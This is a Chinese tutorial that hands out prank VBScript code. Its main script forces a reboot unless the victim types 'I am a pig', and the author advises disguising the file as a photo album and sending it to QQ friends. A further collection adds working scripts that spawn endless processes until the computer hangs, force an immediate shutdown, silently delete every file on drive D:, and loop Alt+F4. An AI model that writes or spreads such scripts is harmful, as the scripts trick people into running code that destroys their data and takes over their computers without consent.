今天给大家带来一个整人的VBS脚本，对方不说“我是猪”就定时关机的恶搞脚本，如果把他发给你的QQ好友 他不懂的话如果不输“我是猪“” 电脑就会在你设定的时间内关机。我在以下代码内设置的是3分钟。

“我是猪”恶搞示范

• 01

  新建文本文档，复制代码。

  
• 02

  代码如下：on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关你机，不信，你试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵，猪"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

• 03

  保存记事本文档，把txt文件的后缀名txt改成vbs。可以把名字写成如“我的相册.vbs”吸引人的字眼。

  
• 04

  双击运行，查看效果。

  
• 05

  如果不说“我是猪”或者输入其他字的话，就会重复窗口，直到说“我是猪”为止。继而弹出以下窗口：

  
• 06

  如果不小心自己点开了，有两种解决方法：一是的输入“我是猪”进行解除；二是按Windows+R键打开运行输入shutdown -a来解除关机命令（注意此时不要点击正在运行的弹窗的任何按钮），接着打开任务管理器找到wscript并结束进程就OK 啦。

vbs整人代码集合

• 01

  我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop

• 02

  打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop

• 03

  直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true

• 04

  删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

• 05

  按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改) dim s do until s=500 s=s+1 msgbox "哥们，给我按500次回车吧",64 loop

• 06

  不断按下alt+f4 （开什么都关闭……） dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop

郑重声明：本文版权归原作者所有，转载文章仅为传播更多信息之目的，如作者信息标记有误，请第一时间联系我们修改或删除，多谢。